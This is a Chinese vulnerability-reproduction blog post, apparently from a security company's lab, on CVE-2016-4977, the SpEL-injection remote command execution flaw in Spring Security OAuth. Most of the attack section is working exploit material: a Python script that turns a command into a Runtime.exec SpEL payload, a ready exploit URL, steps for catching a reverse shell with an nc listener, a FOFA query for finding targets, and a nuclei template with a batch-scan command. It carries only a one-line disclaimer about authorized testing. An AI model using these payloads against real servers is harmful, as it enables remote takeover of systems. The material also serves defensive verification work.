漏洞复现 CVE-2016-4977 Spring Security Oauth RCE

admin 2022年5月30日21:52:15评论250 views字数 2682阅读8分56秒阅读模式

0x01 漏洞描述

    Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

漏洞复现 CVE-2016-4977 Spring Security Oauth RCE


0x02 漏洞复现

漏洞影响: 

Spring Security OAuth 2.0.0版本至2.0.9版本

Spring Security OAuth 1.0.0版本至1.0.5版本

FOFA:app="spring"

1.nc监听7777端口,并执行payload,得到一个shell

1.反弹shell的payload需要bash64加解密,网址:https://ir0ny.top/pentest/reverse-encoder-shell.html
2.需要把反弹shell命令替换为spel表达式,脚本如下:#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
3.payload,将其中{2*3}替换即可反弹shell:http://x.x.x.x:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

漏洞复现 CVE-2016-4977 Spring Security Oauth RCE


2.nuclei漏洞脚本如下(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei

批量验证命令:nuclei -t cves/2016/CVE-2016-4977.yaml -l subs.txt
yaml POC:id: CVE-2016-4977
info: name: Spring Security OAuth2 Remote Command Execution author: princechaddha severity: high description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type. reference: - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md - https://tanzu.vmware.com/security/cve-2016-4977 - https://nvd.nist.gov/vuln/detail/CVE-2016-4977 - https://pivotal.io/security/cve-2016-4977 remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-4977 cwe-id: CWE-19 tags: cve,cve2016,spring,oauth2,oauth,rce,ssti
requests: - raw: - | GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Authorization: Basic YWRtaW46YWRtaW4=
matchers-condition: and matchers: - type: word part: body words: - "Unsupported response types: [978015547]"
- type: status status: - 400
# Enhanced by mp on 2022/04/04

漏洞复现 CVE-2016-4977 Spring Security Oauth RCE

(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)


0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2016-4977 Spring Security Oauth RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月30日21:52:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 CVE-2016-4977 Spring Security Oauth RCEhttps://cn-sec.com/archives/1066845.html

发表评论

匿名网友 填写信息